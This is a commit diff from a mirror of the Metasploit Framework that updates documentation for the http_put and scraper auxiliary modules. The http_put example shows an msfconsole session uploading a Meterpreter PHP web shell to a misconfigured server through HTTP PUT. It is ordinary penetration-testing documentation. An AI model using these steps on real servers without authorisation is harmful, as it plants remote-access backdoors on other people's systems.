infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated Docs

GSoC/Meterpreter_Web_Console
y_k_oo7 2019-02-19 18:34:32 +05:30
parent 34b0778539
commit b8323f7372
2 changed files with 23 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
documentation/modules/auxiliary/scanner/http/http_put.md
View File

@ -11,10 +11,30 @@ This module can abuse misconfigured web servers to upload and delete web content
6. Do: ```set FILEDATA [PATH]```
7. DO: ```run```
## Options
### ACTION
**PUT**
Action is set to PUT to upload files to the server. If `FILENAME` isn't specified, the module will generate a random string as a .txt file.
**DELETE**
`FILENAME` is required when Action is set to DELETE
### PATH
The path at which this module will attempt to either PUT the content or DELETE it.
## Scenarios
Here Action is set to `PUT`.
```
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > set ACTION PUT
ACTION => PUT
msf auxiliary(scanner/http/http_put) > set RHOSTS 1.1.1.23
RHOSTS => 1.1.1.23
msf auxiliary(scanner/http/http_put) > set RPORT 8585
@ -27,8 +47,7 @@ msf auxiliary(scanner/http/http_put) > set FILEDATA file://root/Desktop/meterpre
FILEDATA => file://root/Desktop/meterpreter.php
msf auxiliary(scanner/http/http_put) > run
[+] File uploaded:
http://1.1.1.23:8585/uploads/meterpreter.php
[+] File uploaded: http://1.1.1.23:8585/uploads/meterpreter.php
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_put) >

2
documentation/modules/auxiliary/scanner/http/scraper.md
View File

@ -14,6 +14,8 @@ By default this module scrapes the `title` of a web page.
msf > use auxiliary/scanner/http/scraper
msf auxiliary(scanner/http/scraper) > set RHOSTS 1.1.1.18
RHOSTS => 1.1.1.18
msf auxiliary(scanner/http/scraper) > set PATTERN '<title>(.*)</title>'
PATTERN => (?-mix:<title>(.*)<\/title>)
msf auxiliary(scanner/http/scraper) > run
[+] 1.1.1.18 / [Index of /]